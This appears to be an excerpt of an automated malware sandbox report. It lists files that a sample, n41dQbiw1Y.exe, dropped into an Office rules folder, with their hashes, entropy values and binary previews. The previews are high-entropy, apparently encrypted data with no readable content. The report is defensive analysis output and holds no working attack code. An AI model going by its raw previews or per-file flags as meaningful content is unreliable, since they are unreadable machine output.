SHA-256:	D1C056814F0810F03C6BE3B0E0489C94742B4E8A320CA2234BE8A991C37D9135
SHA-512:	863670D44EE9E95679D218282A1F8598B051B996823DB4439DA4609FBF107664143E1DC9105409C7F45183DE3C456A4226DE7BB0B29865E0DE00DCCF2002AFC5
Malicious:	false
Preview:	<?xml;...F.k.....D.0.G&g.\|y..m.x.a...C.....;....L3..]...PK...r..P$M..ur._\|.F.......Wo.!..DY......:~...4....._sJF#Z...T.^2F...p9...j.5.k.B..)\|.27A....-.g+.6..Gh.:.s.!.}`..L...=>.N.-.*.P.o.....i1z....T...q....M.U..%lG........H..KG.).N.......A....B...5.........H..E./....q>.I.x..s...~8l..I.............GS..!...d...3P~.....pn..6..:.;..85.=..>.W...u2]O.fh...w...h..H..E......6,-....Y.~.......Ke..E.._.c..h>Xyc.O.......l..'.SA...Tp..+C[...U....T...2...m...b..z..s...p..&}.-....`w.\...`.u...T.{..wV.\|.D...{..O.\....yb.......(.;Nq.cH=v.Y.............1.....I.Q.. ...M.F.^...s...P....x.R..1.....n..N.#h.(.......8...m..+..x.bD.yFv.U..\.......=.........?.A........n...F.V4j. ......\|M......"w@qq....._..D{D..S.~..9...JG..E."...mi.....e.5.q.bFS.z...!.:l......r...\...Z@...x.m7.u.!%g.>....U...h.6d.~3...L..$.<.re8K6O..oe...........O[..l}[....rB.`....II..3..-%...+.qx...Aw.....G.rD.r.9.(..2....h..3.-..qgZF...w....,v,.....W..5.]........e....a....W..K.2....@......y.PC

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701801v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8796223573726385
Encrypted:	false
SSDEEP:	48:VfIhdGp984Rx4BOn1S7uwMpJZmfnZKrZSffD:VPp5Rx4pu1fZmfZjj
MD5:	6D95C86D88ECEA37EB4E2A6158294D96
SHA1:	30DBACC34E28A7FAA4382E3209682EB05BDB314A
SHA-256:	76E9782ACB828F9210030818DD2261000B202C9F363E72303DE5E965C2CEBC15
SHA-512:	E119D28719D8CA6B98C7A186D8B7C32530645A8361B3DCB802D0C836C483096CC705C4FD52A2771EB5BEBA83760BF8F57ED056BA74E908CB516DA5B56621EABB
Malicious:	false
Preview:	<?xml;.........o......C?>..d.3o.A....B..6)..aX:..H..e....0..A.C=Q 2un.."..m..A.CLU.\|.)....q..@..z.B.Z..COE/....SA5.h........S...3..c.wb.X.......h..Q.....y'.Y4...am^.!..v..u..P....<..F.....(__..!`(..W.......@.A..#:.}Y4u#"o....._m. ..!..#Ha.....Z\.....2u...Y.n}.b....>W.<..8..=..-........g.....JIn3.g...._v.q..zK....u..m.z<..U.}-9...m~..<.rAm}e?M..s.&.j.)...V..9._..dXCw..D..1..a.A.I..v..be<...C....L.p..)...6...aX.=..(s..U.is....0;...c:{.a$.~..~..JOT..z.e....`......O..w..=..\|..V..C .ev...O..\|..4....0..2,)n.j.......&..?...g.VV-.!.9'.I...-.f...1..&f.]U%\....4.q..}_..\|(.`....5E.....N0..\.F.Y.F.M.Y...A.1.....Y.>._..P.L.n..2.]u.4x...DV..v.m..Xr..&H].......l;.>..l...{.{.......K,KZ.d.H.....(.8..4.S..Jcg.Y.B.Tb....Ywi...y+/e.>..N.....t.K,......R.....~w.k..I{..%v2..T-p...8?...A....O ....e~...d..._....LJ]*...p.......\|3.<D..6. ..:".QF0%..}.}..........s.....C^.hVf..!#..1^..s<.^..9.....0...5..f.....Q.2.y+.,............FL.:...Nzh."A..;e....=O...~.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701850v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.889347815515309
Encrypted:	false
SSDEEP:	24:AeU8Qwj2uceuaVOgDvMA3iF4TExAuKb5mzXSi4O67NkIVfJH7L39vIaRu780enqv:nFQw8eFLMb4TGg5mFoVh339vIx78doD
MD5:	5E4F61E026A9D0C0A71E6669BEB66B71
SHA1:	E59FA00743F7F32935DD3FA72FC715B33D432764
SHA-256:	1CDFB1507DA4778DB5BAB89E0A03EECE0CD9776D8C85F8EDB5E29704C563AB30
SHA-512:	18406D6B125E499EF0C4396567BE58D844C18D3CFD56A4C99BB4056FB5C1785398588144B42ABDAE1465CE4A544CE1FD4207BE3EF5BF69AA1075C0A0E2E1E44E
Malicious:	false
Preview:	<?xml.f.Ij.z.....v..Nj}~...E...f..?..`R.C....u.g.....TOX.bD".o..Df#.(Or....m..l.x.O.).$.............:6.F...3.....2.}G.v>Y.:.rQj.%G..vt...>Y...t..%Q.4>.4.HK.&.K~b2.A.=m[.......T.]u...?...K...6.x.f..p>&.%h...w........\|[...oMa...B..C]..4...v..^.......`.~.....S.iq.U. ..$G.Q.Q....Rd.b.HwD....]..G.(....2....x..[...(...p).IU.B.._.....C ...t....I......mx.mG.i.....Q"c>..3W.-..Qc..a.L...r4.b.[s.;.q.y{v......"....W..K.j.......z.../..V....t.<.~..K..>..K.yGW.............?.l#X..3.......$....r..)!_.l.i..SP2.+.Zz.J..j.-.....5Y......~..U...I...-.[...(.u0.......l.......v.....F.}X)o.o..^.s....f.l.z..V4x....q..X\|$....t...5.NL...t. H......m`.kx.....vl.1M.m...gg......Z..Y>.Gx..~..}2.K....vV....g..ky.V2.R.9+J. hv....d...s.l..e....Vl!....y..6....%\|.`...=5.H...F..%..u]].R.e.`..V.=.8K..m[S......1.-I....g[.c3.#.F.1c..vs<[y.\|....z..lGcC......]!JOy90..?...O..`....?..,A'.b..L.o8d(SZ..&.\|/V...e..N.. .G3....G.V...jee..$... 0&.Ql.....Hj...Ix.[k.......p>pY...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701851v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.870539887410265
Encrypted:	false
SSDEEP:	48:pLwF1g/V2yHnrtomatJijGTYDAv9Iq/JqGZb3D:pUF1EPrtoBtJijGTPlIcqGZn
MD5:	D264C702233BA45A17C461C9B160B9C8
SHA1:	1858610FD412EA9DB9B36E2CE3984A1B7D97CEFE
SHA-256:	88BCF47F74C066DC18D8BD2794065FB1FCBAD71F8DC8B75B6B39EB4554AADB72
SHA-512:	DAF9066F85349AADCF628C0FD62DB01FCDFA474E50ABA12997C8DF844646FBFFFE004A55D828450340347D9C0DF8DCB70CBCAE9DDED11D61741E7B4DC7C6C367
Malicious:	false
Preview:	<?xml..Y....-,..v...H.Y.......!.x...~qf..&.hL...qkD....A..@..#....in@"&O....$...^.f#\@OH...N.MI....q.a.l.Z[......U..v....l.s..<..."W.0..../..w5.....V...W/XA.....o..U...3n.@.......l(B..pfr.........w,.f.o+..=..7.\8..Uq.(...`U.d<\..........FPI&.l..'L.....F.......=N......0tN0.E..M.<=.to.].....S.g...Y.x.r....?.6.j.k~w.=..u8p.?7......A.G...\|.J...S?.B...z..1j..0Wn.3r)..t..x........q.{7.W.7hb..:.g8.....B....i...@.-M.i..Q..Kj+Z8p...........`h\.M..(.9.#..B.H.4.A..7..'.n....H.u..+]O.w.....&?W...}.......7}%..F.>..F....}V....'...'..H....%.)=7zT.-4..aYs.X..4D..:...8.N.....N.<y.]...,n..$......Y........%x...s+.{..j...."Mp...OC.O...f9....A..T8..NL.1.....He_$.5..&...F.b....^.........1..90..A..@4.-..6......[........Fr.xU.X.]v6C...-d...}%..P...8.o.U=.h....cmk.^.e...?#.]..Ic..?4..9.jN.3.4)o....@o.!...1..Z...#..&....2...5%a..............n....(......a2...%w.WE$% .U\..k.X...T...M.s.%7.....GO.....hj....}.W....}.G.8}.."}..(.;g$.GJk...z..V..$s....Hv..(.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701900v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.897249880825057
Encrypted:	false
SSDEEP:	48:YlYiGWhbkst7tNmgA6tL4fAtpvBd6AtYvD:niGm7fXAc4ss6s
MD5:	60EB0CCB22A4E941A13DA1E21E60A044
SHA1:	ACDD8D7B5D95D38C308948772D262A030F3ED76F
SHA-256:	1EC81E81C28DEAD4AC68180430B170C15196143B4FA59EE0FDCBE3D1BAED77F3
SHA-512:	C55FF543CFDB47AAD7140EF76FC714BFC02038EBA6CC3B25F02C739E8A66C9F53063762F89B8AAC529429F7C39CE35D0BAF7DF25EF92E4F9B4941445505ED749
Malicious:	false
Preview:	<?xml.<p..._9l#...@.h......x...p.a..0...{hU...".c.i...l...:..x....T._..Te...\. ..(\H...TBo.\?..w.'L.Q.k........:..c.s...%{.....G.;.O).x.\|.l.A.c}.fg.a(.t......g...j....P..o..X.IWk.M6....d.IsD.p.....#..R....a....T3....b......Mz..O...A)..V.yB..+. u.jr.,m...k..\|.0#.m-j.o,.._".x..b...........}..2E...ida.f.\|..+.N!{=@q..$.h.{....4k......W.........]2.W...t1i.+.^i..~.........T.0..g...N..U..=..$EJ,, .B7.\|.y.`X.N,\|..H.h..#..&.M..?.O.Cv...W........+u.....xf&l.?<.j........G .nb.....P..g.:&...g]..L.H:.2V2\...GI..'.JR....z.T<..0.CK..5>....o.>..ziy.&...n..=B_...v.d.....F.)..L$.......S...%.W......\.B/...Piw..s@.!~.......~@..N.F.G^.nm..a/%.....b...........>.....F.l."_/U........R...0,}..XZ.sKJ...Z....%....\|.q..Z.......B%J.o4.sn;3....=..R(6.na.)L.G...Qu..<Y........iNW.7a....YdqD....wz!d."AS....A......7.0..Ht?.r.YO.......K..1..sb......;........;i.=..T...Z..X..5..,.W~.\|...5IGh...P"U..U4.........g-s.......O..X...*f..\z.g...C...u".,.S.7P.....ih..7\.=?.%....N.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701901v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.895925025328837
Encrypted:	false
SSDEEP:	48:oxEkwmBzwtu0U2hgsSj2gMNbH/+F9IW2GYCfqD:oNw0r2lSj2PiF9I7GY+i
MD5:	1852043672EBE58B11E68135101B5EF9
SHA1:	FDDD1D80B52410BBF6B9D4F15F641E34214609DC
SHA-256:	16430E421D775A39CEE62A5A114EA987862E010724FDC3EAA9B3B3729B7D55D6
SHA-512:	30D25750FE41372DDCD1F70D9AAEFAAD056B54B5556C0E8111D6A8120235B79AF289DB1016F6E2DB655311B3DD83690D89BB641A9FA8EE772B4641E455714D3A
Malicious:	false
Preview:	<?xmlJ....v.t~7.....P.V.s5.&.....{.....[......o#D....{...r......k.i.....F\..S....h4.d..+.3.._.....f.+....M...e...'k.~.M.OVI.\..<..1&..RaT./8.1.......y.4.{...@0..$.....x..x..BU......?...U..X.y....\|q...&.]..:Z...t.K.U........J.M\|.?\..Dp..c.j.6W.f.(....-@.oI...F\....ry'o..\.A8.g.g8f.6.`A\|...R}.=..5M..Xv....s1.e. g....Y.....A. ...(.Z...>8.)..t..3.7....#x/Km.h.2..C...r_....y......m.(.......!.......l......b...A...X.8....49..J..FK..8..v..mN.^IX..<`...z....-..?.d..jk..K.w.=y....%..):..>...?...N...P.p...6a..<..S*.s.H.}..\,......^.....<...'.\|.u.A.K..r.2X..U...B....t......pH..).."._......_..R.?..n.. \...S.:kz.x=.%1..#S36........\..>..pZ.}.8.mX...p..........=.....{.........D5.x}.f.......[.....'v....t.W.A..{.ixm.2.<.&.[...T 9.....\.\..W....G..7.......R.E<m._..x$.3.hz..iy..s........$ .s)e;..T........k.M.3f......o[d3}.^c<..../?..m...{u[...wm.m......"..]oGF.X.S%..#.Fqq... ".`.V.... .9!uK.d?...2.AyA7YT._ ..]......G.-.\|.,.0...p....f.JzI!.$..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701950v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1713
Entropy (8bit):	7.870413254210782
Encrypted:	false
SSDEEP:	24:V/Xn9X0znzlq0+j74E49otJTRDoDM21MzEWMhKMPoE7w1MBrlEBlnbD:VP9Ejz4YE4CJTRkDbggFQww1erlEBlbD
MD5:	80A9EA670FB641D30EB019F4131D2F01
SHA1:	0C1C1DD1CB3DC74641E1EACB74FD2AED7E0739E9
SHA-256:	1C3307E324E8C460DC9CA38D7A7F1F2C3DA496594182136E0A7E9FD2056A636E
SHA-512:	99DF7527F1FA11D95600413E9ED5359745A2F6EAA3414D4E67D9B786F9282DBB4E56C4ED7CE487D47226BCB64032CD7E74E822351F4684BB272A21502B8A64CC
Malicious:	false
Preview:	<?xml...."C.......1d..s.S.".g....o..$.L..0..&....Wg5o.........j....G4E.&U.......,3............`,..aP,...../..IM....S..L...tX.%.]r..W..6.5$.d.6...@ej.vt..?..RY.\|.Y..?..-U.W...jk966....0.x.....Q...j%.C...A\|m.`T..B...W...j...z./y!."..2t....XC..3.hH..lA.yyX....?.).....P`...P.K...~N;.pK.l....ti.......zl$...(..1:)..-7...H.M..bS.o.Y.e............E!.......u......wt..q.=.;.. ...................[.&Q....'..S.C.0..`....L....6...Ta..s.......n.z$.g..gA....^P.B....O$B.<...<Te..a....".Y.4...Dj..Z.~...].....\.N4...J5\|1.......v_.e5>.3..mc..{..G.O..U.C.....g.I...b.E..X.XN..7...s....q.T.q......CC....B.m..."B..k......a1E..v..ob...A..K..D4...Z......'..d.\|i.........~.5c...!.%w.:!...=}..S.@.T.z../.-..X ..0......y@..lU.`..Z..US{.a6U..PR_..,..7..f~+.6...D(.Uf..-9.}&'..\.H9.,..s.i.....uO. .h..IwJ.O..g...V....S+.0$#$........E.{3....-7.a6.........se....J<%.,...^.'n,N'J~yp.Z[...:S....O.....`.=..Z./...Pm.....`.(.#AU%S..DS.....<...J)..z(i..U..R}.Ufe0Om......d..x0K>...;.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701951v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1750
Entropy (8bit):	7.88295431005368
Encrypted:	false
SSDEEP:	48:cHcuYMowKcie0iQq5ApgT6IFKUKVVo7/vV5PbTgpD:c8Z8KViwU6gKR85jTk
MD5:	85DEC824AE448859762D3C4240821172
SHA1:	BB1CA278829B0392AFA7FBEA27C3B0694B088E59
SHA-256:	2A29157967F97640E66FA464E3B1606F698A259CC1477508B6ADD9251AA09DD3
SHA-512:	5D902EAD09AB9EE397D722FC0B59262AA58A10D580417F341777E87F1777C500A5EF4F2AA753B5F2EAD160B44459281744C17CC86982566C1F62A49039B85111
Malicious:	false
Preview:	<?xml...5"9ke.B.cS...J...R.1....f(W.....u.0.g...'#......dQ..QQLc0)E.$.p...~..(W.....E).k.n/\.fg.V.bo.as.?C,.......0..)...p....c.}B...n.6..5..-.z.aL.Sz8..?.e~Y;.9.M..{.YL..$..p.w>.O..4.(,......P..y....X..zs;v.!..V.r..}..\|B...;f.$W.]...".....L......5.....Y..#.N.,...q..6....H........1,.B...#.Fa....}/..2..1..>.k..Sg.N.C.../..1..?...w.G.D.^.$......;.....>k4!{9.\|e'!!.I.{...Q..z..@=.4z..#.`Z.....pK.1w......1,.lQd.~.I@..$.<.......W....X...+P.BuhI.}#!.r. .?".,V.'.&.K..*......w....J...[O..6..C....&U.. ....~f...I_.;.....6.>k%.^5..V.U.+LHk.<&t.[....L.%..+.Ub#....o.l..L}.........]....D...\|\..%,...xt~.b...^."..%=.s3].......1p.(...N...?S.6..<...c.W.R..X.z!..i....0..\|...@.v.j...18..3.Z..T3.}..%..X..z...1.:W-...M.e......i....(..q.....Y...(.@..........:Sc.&.l..MP9....A.\B.............._R..qr'.y.]..I.9\|...\q..g.@.$e..=Q.7R:.F........F.>.I..f.'{.'..-....M._...].\|7.W.z]...[.1....>+...l..-.>&aE.(.Y..Z?.j>...F..Z.p....8W.y.b..{Yoab.&`.H....<.~..E...G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702000v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.884888066623456
Encrypted:	false
SSDEEP:	48:dLX8hP7wptRSh8qTPv5yrRrjWhdmjCxflwH6D:Z+wpvShVPIrRrjWhtflwHS
MD5:	E57C014C78EF4CDA4448BCED13AE583E
SHA1:	FB745F8A1C32128F99D3B1607F5435E646E9E168
SHA-256:	0E0ED214C8B8BD6A5ABD7D1301E7D64562C1C603779ED3390BC15262CF42C819
SHA-512:	E507F3DCC63872379EF15140A15D8B18B253D7E67FC386A158394A94996ED3930116B411FA6351DDDAC9B2D968C26CAC2A60ABE311F68CA0583DE4A59008ECCE
Malicious:	false
Preview:	<?xml..........\......h...p(..)!y.....]....Qt.R....9...C(.s=.....+MJ...;...Od............4.e.w..[..u.....#....5...z...I-.?..&Z.8....w-g.06O.[D.j..l...VtWf....X.S...'....1.$Ec1MU=.U.[.v.T8"..v........:.K./.T...&.\|..i....7.:V....M..5.C..9..a...h.n;..Z/!!<.......A...L...k.U~.Qb<..gDH....'..6L%......WYY......2.....?..+H....9W..>.y.w.<.C0.9.t.}O.'....2.9.7.......N...5...............y-Qv.....W.._<.....V.7.......n.....$.K.S...Y.B.nT......A..R...8o.7Q....L....>.m....O6..t....%..,.'6$.cRNK.U.:%.O...}.z.X.6...a_.C.Ix.....v...C.X..I.#........3..../....E...uZ,N..Tnjd.W!.9.V'"Se.aw\|......m.....u.....~`.._a&....&._.!..u....l..,......k..No...{..1^.3.6.1D....3.dq.{.K...\.Y.....4@.:"8..>....x....-.C..i.....b.....Yh?.)I..m..d.rC.xT..v.Wq........>t.......G.Pw.........B.kY}.@n.."4s..X].}+...R5......F..............h,.[.{u.,k&..O!..xZ..q7.........35.W..[.V.d.b...%.o.8\|.Z. N'n..G..$.Sb.....=.......N.$...S..(.&.v..ey.C..W..;..u.....D3ow..a.a.....5.._9s"W\....W..o.W.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702001v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.896202045623506
Encrypted:	false
SSDEEP:	48:/dGqMBn9ZnzOHPiU/a5whYLKEm8xKcO8c1tD:/dABn6DCOO68xLnQ
MD5:	672AA5743CB2684CD734FCFB9084B51D
SHA1:	8A1EE60F5D66605F376ADA596B355D43ABD77C2E
SHA-256:	8C153F0340A782B2108D6AF3D4598B063A60A1ED506A756C3F06E29AC0D6EADE
SHA-512:	B39FF813E2E2738A5DC25CEB145508208CB013B2FEF8B7A0CED763841A7BCEFC7106667271C29EA28E4F35D92172D0202B86FC53662C1CE0E97462B8CB1988CE
Malicious:	false
Preview:	<?xmlu..."..0..:.\|M.,.}.cnSY..q...C......+1.?...V9..l.J.G..`7.7..;.....F.jHa..._'VH\.$.Z..Si...........K.......h#9..y....b...........<,T..Vy.K.DC.....Y@Oz=j.]..,g..W-4.h..K.'....;.S.y..#....{3w\...,...."i9.J{ .x .;........\|`.A.6cv.._].N.~...IW.+....=.u..Kj.v..;`^A.HY.5.d..9......k".y.^......[l...2._...<.1.[....cC.#............^)..u..X.,..Ey.....K'.x..#.0.,F_.=F....).."..I.B....l..lY.;...~I..{J..G.$.;..@.u.(7G...I.EcUqs..>+....Q...C.@]..L.. .E..:K.Ra8.k....2..1.....-.....b.]..n.`.....+....w...A...o .[..%.yX.c.......C\..LT....p.......:.%.Z.w-.U[.....1..W.3.,.a.G......D\|.RO...........{..".D.......<.cu..U .../o.K...rE...\|1....?..:.........{.).;..#.....nb...O.;..S[.......EK^P..N;5.5.'..J.32&..1.v........E.E.........lO..C."3s.....<...m.@.....\.z.........^....7..P...s....fE]...0.....E......Z .2e....&..WbS2U...K....?.&.../.}{6u...u..[..Dzl..D.........J+.5...\p.tC.'..k..`..4&.H....w.....8>..n..h66..+o..i.y.... ...!........>1T.y..*.....o.^....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702050v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.887707005315632
Encrypted:	false
SSDEEP:	48:IkcomAeTnSFO4ghZ0eVd+Vq40oBlQLFgwAXnD:I/UO4ghZfWVqpoBu5V+
MD5:	7F7F25167F947310D7D1229541849F7A
SHA1:	1ABEB64CCE00668965B8690D6B755847C93137F3
SHA-256:	B3563CAFF6A70D7387DB9A0A59D38C07CDF91D2BB3A0C5B40EE215DDE349AB3A
SHA-512:	D7AD58C74E5DAED39F30A99B748B50B6698BF92B7592D6D3AFB2F368BBE731C523DF42638E04BE70327228D0D1FE2974185613104F3B1077C222D830D2637298
Malicious:	false
Preview:	<?xml...w.4...h.c.3.2.G4..S...S......>.>jk .;......W..M/{^_1.....fz.. .8....W...n....HJT.R...z.G.=xo..).7.V......._6......K....~)0~o..?..]..\...".....Q.......`.]..{.RQ.Us.r.'.. R...85....VX....).....S.M#.......Ky.=..&.R..=/..o..>0h.h........L..\|...J..5Z+.U..d....C..?...c..l.q.8y..D<0fkW...4.o.+Zk...m)!8....m..2....)j'.o..$Y.~;.![...W.V.P.X...;...M.v].ce.ED.^hV.....3..7..a...U...B.m...-.OI.ld.$2....xs....."..,...^k..3..ui.?hB .y.....6.m....,.......017O..f....6.Y...:S.T9.g..G.Xf....H...e3A.....W.sg)...^....1`...Q..;i.5J:.D....'.2...&.w..3.X<s....#J,(.Or..~.....5".%..0..0.7.>..i.-....C. ....M.,.\|7W.y...#....m..$..!.O7.V.z._.7&.b......'.d.-.....a`...l.b\........I....`K...m....+E...v..6...'..U.".q..V.q.M._....0....2......'3.\...HN.~.:...;c+...z"]...u..KLT'mAr..F-U.Bl....I.kS..B@..<5-...M...wP...v/\|........o}.N...k.....P.....T.5.T.`.C...=...k.._&.#.~...ht.nW..@i..8Cp..6.$8.d......1W.X..%.<`Q.i.b\|B..S..!R.b......b...f......y.f.n..._.2.#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702051v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.87938403002333
Encrypted:	false
SSDEEP:	48:vtUwNGYfKg1K/ZMH/dz75eAunuPIttEcKkD:vtdGFgU/Z0x7oAitEcb
MD5:	A43523938DCBA76E888059680D4EF893
SHA1:	95C0F2626D8A25766CB5A397F5E770280CD46242
SHA-256:	209BB65D30C1520012FF514B415D936FAF48CD584D591590DEA39ADEAC2568A9
SHA-512:	9F24071BC2FBF43F2746C2DA1E784BAA3AACFD96DA6DD3D096299CCEF9C5F24EF2606D4A04E95FE5262B96081FE992CFC2D617949E19189163B68263397E1266
Malicious:	false
Preview:	<?xml.x/.X.....;H.b.Vd.C.mqj.>...l..6....RT'}.Kz..-/%.'E.3.....1Vr.$.V..4......^HY<,..e..Ny.)..9#.^.....z.......N.......C......1.P..F.9..W..!./9..K..-..Q:'....M......._..W....s....q......S7.....0Zc......=....48....kd...<t.#._....8.(...]-nv.A.{."l..i..c..q......u...,........\|........@.L_...n...g.!....0..R..~..h....JNg.mM.n.......>.@?..>..+RH!..a`..,....D\|.N.]$..gm.l%.... ....>.e..z1s..}.....:.A..+m..I.K...:v.}...L.<Q.-.e.z.e=@-D.#......-....!.2.......s....../....l.'...%5.D@..=.t....R.....3S$\|....KdV..].n3.........e.&...v.).Hz.aC...J0`.B.FFR..9...3\|..7.....SHU....)2........jTo.E..~G.v.......?n.DB.o#\|.E.......#_b.cEo.1.6P..a.nl..h.3A.d...c.....\...I.....;m........R!b...).a....Jg.D..z.FL.'Ry_e.[.ME.13.yz..P..p.#..#&3.<.g..P..#.V...Xi.m.@..o.!].+.&.......h....$..u....}.$..;)...c.;....K.D.<.@@$.....g...A%...m2......@.1.0.p}.....5}....)A%(XT.s94...._....(._{...ZCDK,..>^....5....?..:....5...kIzTo.j.a.)..k.:....._I.......$...g..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702100v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1704
Entropy (8bit):	7.856486251970855
Encrypted:	false
SSDEEP:	24:498o8UkBlq9T7a0jfWo7/W31sgrabX+W0DZQjTu3QVy/zm3jgHh0g5w93+O+bD:eFkB89T7zO0W3zmFYQjTugo/yMVw9O3D
MD5:	0A1EB718753F9DEA3CB9EDC40BA7018A
SHA1:	E3D11747E140588EB40A5683C3BC54A2863573F7
SHA-256:	5D9DC0EF900C57FC21BBAB5A6A2FFD94D2DF2C258F62E9E3036022939908F5C0
SHA-512:	C755795ECC6140D4ACC4ADC4008741BF2EE419A7DCEEC107C3F7A37AB7A7E7868EF63CBE74FB5C3E4523E4B864F3B84B42D5ECBF3608E89F02904FC93B4B665F
Malicious:	false
Preview:	<?xml.9.A.......>..(L...rH%).L.......0.V.D..2P'.'.{.W;".+....c..M..o.L. ..i..aW...v...g.2(6.......,4..o....G@.&...N....m.1..e..2..,0.E>z....%jO..>>..]..O+.>4:...f;....R%........S.+...U.E.%...Z...be...l...y........x......j..P?...)".X.B.t....=)5T.<.....eW...#... Y8.;J$.j.....c..8.%.Y..........Z.n....@mq.h`Mj...Z0.dr....ZPoeNe.S.$..}.)...E..e.qt.d4.i.`...&..y..F...Ph\...A.\|.G....O.p-.Z8....+aV....n.d>j..q.q...C..c..>.....l..Z..6....e[B?...O.r...q.p......O.-.ak.[....i9w..\@N..<\|.>.Z.c0Yr1...#(2..IL\|..t2...=&.#,...:..(.....,.?tL..3...Km,.h.H.n.XXfS...E...B.xW\|..=U..p.#....x.M..T..M.8......K[}+o.(.H'...W.j...K.M...MV.Q.S.P.T_.k0...h....tlv.sc..n....j..wya..1mJU.......@........J..j._..#)..$F.....s..6..`<X..3E...F.r.. e.%.......'...m#dy.2....k..CC`.A....A.?...:6+KM...QbmS\|...>.....FUqp..........6x..Q.`..TI..1I....V..p.j..r1m.....P.7..@.......'.n...y..?[...U..6.o.<W G+.+6.$.B.1:..&-.U.O.>t.._g2..W.+f..8..O...............>.o.....8.k..V..[.X.%..#

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702101v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1741
Entropy (8bit):	7.893810311268426
Encrypted:	false
SSDEEP:	48:P8adfWKLY6+7XC2P9IbqG3YssU1bLYpfa9VtDRD:PIK86F2PfsssYpi7
MD5:	0B2CC485F7D08F6564DBC0FBDD0F0903
SHA1:	2B5703677BF57F3C33480F5FB3E73E27A043F4A2
SHA-256:	59B62E49CD089E1D17A56872B561C13116D778150CD314511CE53F451F17D866
SHA-512:	4DC6A98147AA3302D32200970D1A8CD18D61C200F24A80691535DAC50C5B9B7EE116ECA7EE1EFCFE7BE0C844DFD646D26C25AEFC4A772D00F73DF1D42300A125
Malicious:	false
Preview:	<?xmlQ.:...-.w..,...c.2s...?..NE.'....UQ.....Q........G.)..L>.U..nN^....pV........Z........!.o.....y..N;i:.....\.J.i..Ws.m./E.Ro.3..b.....Ho.....kgC8B_..^^..........:r.s...#S@.....;..\|}...=.N.r..)...@^.i....cz.V...L....g)._..mqh.e.........i....t..8&.4a............;.&.kX.'[2\|....K.7.D.....)...?.q6.^......p?....,..'.h..'.F...2....OW...Ud.....5}.BY...b....R}"@..o}..9nY.}...Y.^w..u.M.T..... ..l.#..vA......3M.}J..@..bv...d.......G'...f .S;=....%....\|...X.....E ,.V..0....N.....B.x.,..JL.3..+iXH ...V.G7.<.....F.m.....c..9..)6.(..kj.Q-..{.......N....Ag........L.4>4..dbV..]C........Z..Td<.&\.7?.......q\|...AV1O..9.....T......Y5B....uT~.}E.X@....I/...J......Xz_.t..........,...g..:..qta=.....ci.V\.L..:6....z#.<....<e.>..Q..f...z.2.u.....L....M..u..9*y.!..[T..4.\.......(.".........2SU\....)'a...nm0{}....&..M$........Y.q.....6....,.5.L...t.!.S.2U.+....S&.Z...DY.t.X-.U5../...../....+....$#@.B../Kf7.H:..\|...).zY+."..T...cS..%..r.s.-I..E......hQ

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule702150v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.889016781424774
Encrypted:	false
SSDEEP:	48:i8sT2soU+fgbb0/5mlWv4yPJUU/zlyxbUasBB+7fMexKnIgD:i9j9+fgP0/c8NgxbUPBiBMH
MD5:	1C34581FF8FB7AE9CEA8F3D65187A288
SHA1:	8F273DAD05A4AD8E2C17E992D1A8C2EAE16803AD
SHA-256:	20729859B88D2CCCEA151EC47C85DD067C4A31BE8E3CD2CB9077C503B3F3B7DA
SHA-512:	A16227E3738D7483C203EB7F2DF141F49465942D48B02A468BC648368E2FBB55576AA1BADDDE147DE0E45F87B25EF85BD6246CE1D31C6AA928189D2686279B0B
Malicious:	false
